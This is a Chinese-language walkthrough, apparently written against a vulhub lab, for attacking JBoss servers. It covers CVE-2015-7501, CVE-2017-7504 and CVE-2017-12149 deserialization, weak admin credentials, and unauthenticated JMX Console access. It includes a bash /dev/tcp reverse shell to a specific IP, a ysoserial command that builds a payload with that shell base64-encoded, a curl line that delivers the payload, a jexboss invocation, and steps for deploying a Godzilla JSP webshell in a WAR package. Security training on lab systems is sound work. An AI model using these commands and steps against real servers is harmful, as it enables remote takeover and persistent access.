Jboss中间件漏洞攻略
CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞,这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象,然后我们利用Apache Commons Collections中的 Gadget 执⾏任意代码
访问地址 http://39.105.61.160:8080/invoker/JMXInvokerServlet1.返回如下,说明接⼝开放,此接⼝存在反序列化漏洞
下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/39.105.61.160/6666 0>&1
监听6666端口
使用cmd
java -jar "C:\Users\23215.呵呵\Documents\WeChat Files\wxid_1jxr0075qqd422\FileStorage\File\2025-03\ysoserial-all.jar" CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNjEuMTYwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser
执行后在当前目录会生成一个exp.ser
再使用curl http://39.105.61.160:8080/invoker/JMXInvokerServlet --data-binary @exp.ser,那么就可以成功监听到端口
CVE-2017-7504
JBossMQ JMS 反序列化漏洞,JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的 HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码执⾏
访问漏洞地址,出现此页面说明存在漏洞
http://39.105.61.160:8080/jbossmq-httpil/HTTPServerILServlet
在kali中使用jexboss工具
python3 jexboss.py -u http://39.105.61.160:8080
拿到shell
CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞,该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进⾏任何安全检查的情况下尝试将来⾃客户端的数据流进⾏反序列化,从⽽导致了漏洞
使用jboss反序列化_CVE-2017-12149.jar
Administration Console弱⼝令
Administration Console管理⻚⾯存在弱⼝令,`admin:admin`,登陆后台上传war包 , getshell
访问漏洞⻚⾯,出现404则存在漏洞
http://39.105.61.160:8080/invoker/readonly
点击Administration console
使用弱口令登录,admin;vulhub
点击Web Application (WAR)->Add New Web Application (WAR)
使用哥斯拉生成jsp木马,写入shell.jsp,压缩为shell.zip,将名字改为shell.war
上传后通过http://39.105.61.160:8080/shell/shell.jsp访问,可使用哥斯拉连接就可以了
低版本JMX Console未授权
低版本JMX Console未授权访问Getshell,此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执⾏任何功能。
点击JMX Console
使用弱口令登录,admin;admin
登陆后找到jboss.deployment
点击flavor=URL后找到void addURL(),第一个
将shell.war放到服务器上
http://39.105.61.160/shell.war
点击Invoke, 出现下图代表成功
使用http://39.105.61.160/shell/shell.jsp就能访问到,之后使用哥斯拉连接
⾼版本JMX Console未授权
JMX Console默认存在未授权访问,直接点击JBoss主⻚中的 JMX Console 链接进⼊JMX Console⻚⾯, 通过部署war包 , getshell
点击JMX Console,账号admin;vulhub
登陆后点击jboss.system->service=MainDeployer
找到deloy部署http://39.105.61.160/shell.war,点击Invoke
使用http://39.105.61.160/shell/shell.jsp就能访问到,之后使用哥斯拉连接